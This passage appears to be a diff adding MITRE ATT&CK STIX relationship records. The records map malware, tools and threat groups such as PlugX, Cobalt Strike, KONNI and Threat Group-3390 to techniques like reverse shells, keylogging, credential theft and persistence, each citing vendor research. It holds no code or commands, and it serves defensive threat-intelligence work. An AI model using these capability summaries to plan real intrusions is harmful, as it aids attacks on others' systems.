"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can execute a task to download a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) creates scheduled tasks to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to a remotely connected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Copy. Retrieved April 26, 2016.", + "source_name": "TechNet Copy", + "url": "https://technet.microsoft.com/en-us/library/bb490886.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cfb7e335-e7a3-4dc3-91b8-70381a888222", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.024Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can steal access tokens from exiting processes and make tokens from known credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6863078f-fe93-4b84-ad7f-dffe494d9265", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.472Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--57527643-2aef-4171-b61a-665ab8ed991b", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[PlugX](https://attack.mitre.org/software/S0013) allows actors to spawn a reverse shell on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.882Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system. [FLASHFLOOD](https://attack.mitre.org/software/S0036) will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. [FLASHFLOOD](https://attack.mitre.org/software/S0036) also collects information stored in the Windows Address Book.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--18324fed-7770-4768-b652-59860ac4782f", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes the netstat -ano command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--705fdfa4-6b23-480c-b31a-eadb41533439", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can list contents of drives and search for files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6203e555-d5f9-4b3c-978b-d10db7575dbc", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Rundll32 for executing the dropper program.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b697e1d0-b537-4be0-bd16-fd3f7ade80e8", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of listing files, folders, and drives on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060) persistence mechanism.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ecb0d858-dd15-4181-b15b-76459db1d294", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Base64 to encode C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--21caad94-1568-4e40-8e38-c0f7e854aede", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--baabf444-1748-472f-b991-7a5b25e4e1bb", + "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "source_name": "Microsoft Reg", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fcfe071b-e527-44e9-9970-9243a354f563", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has staged encrypted archives for exfiltration on Internet-facing servers that had previously been compromised with [China Chopper](https://attack.mitre.org/software/S0020).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.299Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has used a scheduled task for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--09266cb7-26b3-4959-bcff-a91e309b5588", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "source_name": "ClearSky OilRig Jan 2017", + "url": "http://www.clearskysec.com/oilrig/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors installed a credential logger on Microsoft Exchange servers. [Threat Group-3390](https://attack.mitre.org/groups/G0027) also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.297Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Rover](https://attack.mitre.org/software/S0090) copies files from removable drives to C:\\system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9cef6fec-e4eb-49eb-85db-880138f335bd", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) deletes any temporary files it creates", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--08b4b3f1-3c20-4e70-8a42-99fd5f191b12", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.", + "source_name": "alientvault macspy", + "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a549ccf7-8610-4cf8-80d7-98491566c0cd", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "source_name": "Proofpoint TA459 April 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + }, + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) can use multiple C2 channels, including RSS feeds, Github, forums, and blogs. [BADNEWS](https://attack.mitre.org/software/S0128) also collects C2 information via a dead drop resolver.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[KONNI](https://attack.mitre.org/software/S0356) has the capability to perform keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.182Z", + "id": "relationship--e77c6605-41e9-470f-80fc-2a383aeccc5e", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:18.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.800Z", + "id": "relationship--e725bb68-9fe3-4c43-8ef5-57d57b40b066", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.953Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has accessed and hijacked email communications using stolen credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.663Z", + "id": "relationship--e9267a72-00d7-438b-8c41-af72021e89d0", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has deleted and overwrote files to cover tracks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.422Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to subvert controls and possibly conceal command execution by not directly invoking 